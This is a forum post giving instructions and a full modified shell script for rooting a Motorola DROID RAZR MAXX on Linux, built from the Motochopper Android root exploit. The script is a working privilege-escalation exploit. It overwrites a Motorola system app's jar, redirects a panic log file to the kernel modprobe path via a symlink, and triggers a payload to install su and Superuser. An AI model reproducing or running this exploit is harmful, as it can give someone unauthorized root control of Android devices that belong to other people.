[Motorola Droid RAZR] Stinkular:
DROID RAZR MAXX Linux Instructions

In an effort to help anyone struggling with this, I was able to root a DROID RAXR MAXX XT912 running 4.1.2 by replacing pwn and adding pwn.jar (both from the razr_blade zip file) to the expanded motochopper directory.

I then modified the razr_blade script for Linux and merged it with the original motochopper script (see below).

On an Ubuntu 12.04 system there's no need to download any additional drivers.

Remember to turn on USB debugging and don't forget to switch mass storage mode to MTP mode as noted in other posts above or the script won't work.

Run the script as a normal linux user, i.e., not with sudo. (Just cd to the directory that the script and your executable/payload files are in, and type: "./run.sh" if you've named this script run.sh, for example).

Here's the modified script:

#!/bin/bash

#########################################################################

#

# Motochopper: Android root exploit

# Linux/OS X version

#

# Copyright (C) 2013 Dan Rosenberg (@djrbliss)

#

#########################################################################

#

# Instructions:

#

# 1. Put your device in debugging mode

#

# 2. Attach it via USB

#

# 3. Run this script in the same directory as the rest of the extracted

# zipfile

#

#########################################################################

echo "[*]"

echo "[*] Motochopper: Android root exploit (Linux/OS X version)"

echo "[*] v1.0"

echo "[*] by Dan Rosenberg (@djrbliss)"

echo "[*]"

echo "[*] Tested on the Motorola Razr HD, Razr M, Razr Maxx HD, and Atrix HD."

echo "[*] Supports lots of other devices as well. ;)"

echo "[*]"

echo "[*] Before continuing, ensure that USB debugging is enabled and that"

echo "[*] your phone is connected via USB."

echo "[*]"

echo "[*] WARNING: This will likely void the warranty on your device. I am"

echo "[*] not responsible for any damage to your phone as a result using this"

echo "[*] tool."

echo "[*]"

echo "[*] Press enter to root your phone..."

read -n 1

echo "[*]"

platform=`uname`

if [ $(uname -p) = 'powerpc' ]; then

echo "[-] PowerPC is not supported."

exit 1

fi

if [ "$platform" = 'Darwin' ]; then

adb="./adb.osx"

version="OS X"

else

adb="./adb.linux"

version="Linux"

fi

chmod +x $adb

$adb kill-server

echo "[*] Waiting for device..."

$adb wait-for-device

echo "[*] Device found."

$adb push pwn.jar /data/local/tmp/pwn.jar

$adb shell "cat /data/local/tmp/pwn.jar > /data/data/com.motorola.contextual.fw/files/DataClearJarDex.jar"

echo "[*] Rebooting device..."

$adb reboot

echo "[*] Waiting for phone to reboot."

$adb wait-for-device

echo "[*] Phase three (this will take a minute)..."

$adb shell "sleep 140"

$adb shell "mv /data/logger /data/logger.bak"

$adb shell "mkdir /data/logger"

$adb shell "chmod 777 /data/logger"

$adb shell "rm /data/logger/last_apanic_console 2>/dev/null"

$adb shell "ln -s /proc/sys/kernel/modprobe /data/logger/last_apanic_console"

$adb shell "rm /data/dontpanic/apanic_console 2>/dev/null"

$adb shell "echo /data/local/tmp/pwn > /data/dontpanic/apanic_console"

echo "[*] Rebooting device..."

$adb reboot

echo "[*] Waiting for phone to reboot."

$adb wait-for-device

echo "[*] Phase four..."

$adb push su /data/local/tmp

$adb push busybox /data/local/tmp

$adb push Superuser.apk /data/local/tmp

$adb push pwn /data/local/tmp

$adb shell "chmod 755 /data/local/tmp/pwn"

$adb shell "/data/local/tmp/pwn trigger"

echo "[*] Cleaning up..."

$adb shell "rm /data/dontpanic/* 2>/dev/null"

$adb shell "rm /data/local/tmp/su 2>/dev/null"

$adb shell "rm /data/local/tmp/Superuser.apk 2>/dev/null"

$adb shell "rm /data/local/tmp/busybox 2>/dev/null"

$adb shell "rm /data/local/tmp/pwn 2>/dev/null"

$adb shell "su -c 'rm -r /data/logger' 2>/dev/null"

$adb shell "su -c 'mv /data/logger.bak /data/logger'"

$adb shell "cat /data/local/tmp/DataClearJarDex.jar.bak > /data/data/com.motorola.contextual.fw/files/DataClearJarDex.jar"

$adb shell "rm /data/local/tmp/pwn.jar 2>/dev/null"

$adb shell "rm /data/local/tmp/DataClearJarDex.jar.bak 2>/dev/null"

echo "[*] Rebooting..."

$adb reboot

$adb wait-for-device

echo "[*] Exploit complete!"

echo "[*] Press any key to exit."

sleep 1

$adb kill-server